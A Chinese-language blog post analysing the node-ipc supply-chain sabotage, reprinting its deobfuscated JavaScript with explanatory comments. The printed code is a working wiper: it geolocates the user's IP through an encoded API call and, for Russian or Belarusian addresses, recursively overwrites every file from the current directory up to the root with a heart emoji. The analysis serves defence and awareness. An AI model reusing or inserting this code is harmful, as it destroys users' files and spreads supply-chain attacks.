近期 node-ipc 包以反战为名进行供应链投毒
文章地址:https://github.com/vuejs/vue-cli/issues/7054
源码地址:https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
攻击步骤如下:
1、开发者 node_modules 的某个依赖运行了 node-ipc 这个库。
2、1/4 的概率进行攻击,并且将该操作设置为 setTimeout 随机间隔异步执行。
3、请求这个服务判断用户是不是俄罗斯或者白俄罗斯:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
4、如果是的话,分别对 「当前目录 ./」, 「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行遍历
5、遍历所有的文件,文件内容替换为 ❤️
代码解析
const u = require("path")
const a = require("fs")
const o = require("https")
// 核心破坏函数
// 破坏的操作是获取路径下所有的文件,然后对文件进行无脑覆盖操作。覆盖内容为 ❤️
// 第一个参数 n 是路径,分别对「当前目录 ./」, 「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行破坏操作
// 第二个参数 o ,暂时没有任何意义,应该只是混淆作用。
async function h(n = "", o = "") {
// 如果不存在路径,那算了。
if (!a.existsSync(n)) { return }
// 读取文件夹下所有文件列表
let r = []
try { r = a.readdirSync(n) } catch (t) {}
// 被遍历和迫害的文件集。暂无使用。
const f = []
// 这就是覆盖的内容「❤️」
const c = Buffer.from("4p2k77iP", "base64")
for (var e = 0; e < r.length; e++) {
// 合并路径,形成文件的完整路径
const i = u.join(n, r[e])
// 获取 stat 信息
let t = null;
try { t = a.lstatSync(i) } catch (t) { continue }
// 如果是文件夹,那就递归调用 h 函数
if (t.isDirectory()) {
// 递归
const s = h(i, o)
s.length > 0 ? f.push(...s) : null
// 这个判断没有任何意义,因为 「i」 是一个路径字符串,而 「o」 是一个空字符串,所以总是会为 true 的。或许只是一种混淆方式。
} else if (i.indexOf(o) >= 0) {
try {
// 将文件的内容覆盖为 「❤️」
a.writeFile(i, c.toString("utf8"), function() {})
}
catch (t) {}
}
}
return f
}
setTimeout(function() {
// 每次运行,有 1/4 的概率执行攻击操作。
const t = Math.round(Math.random() * 4)
if (t > 1) { return }
// 这段代码解析出来就是:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
// 但现在这个 apiKey 已经被封禁,所以请求会失败。逻辑会走不下去或者报错
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
console.log('n', n.toString('utf-8'))
// 发送 get 请求,得到内容是否为俄罗斯的 ip
o.get(n.toString("utf8"), function(t) {
t.on("data", function(t) {
const n = Buffer.from("Li8=", "base64") // 解析内容为: 「./」
const o = Buffer.from("Li4v", "base64") // 解析内容为: 「../」
const r = Buffer.from("Li4vLi4v", "base64") // 解析内容为: 「../../」
const f = Buffer.from("Lw==", "base64") // 解析内容为: 「/」
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64") // 解析内容为: 「country_name」
const e = Buffer.from("cnVzc2lh", "base64") // 解析内容为: 「russia」
const i = Buffer.from("YmVsYXJ1cw==", "base64") // 解析内容为: 「belarus」
try {
// 解析接口的返回值,t 也是一个 Buffer 对象,所以需要 toString() + parse() 转换为 json 对象
const s = JSON.parse(t.toString("utf8"))
// 获取 「country_name」 国家
const u = s[c.toString("utf8")].toLowerCase()
// 检查IP国家是否是俄罗斯「russia」或白俄罗斯「belarus」
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"))
if (a) {
// 「当前目录 ./」
h(n.toString("utf8"))
// 「父目录 ../」
h(o.toString("utf8"))
// 「父父目录 ../../」
h(r.toString("utf8"))
// 「根目录 /」
h(f.toString("utf8"))
}
} catch (t) {}
})
})
// 延迟 1-1000 毫秒执行,原因未知,可能是为了让代码变成异步执行,比较难排查。
}, Math.ceil(Math.random() * 1e3))
总结
npm 的 node_modules 设计犯罪成本是真的低,怪不得作者要另起炉灶开发 deno ……

浙公网安备 33010602011771号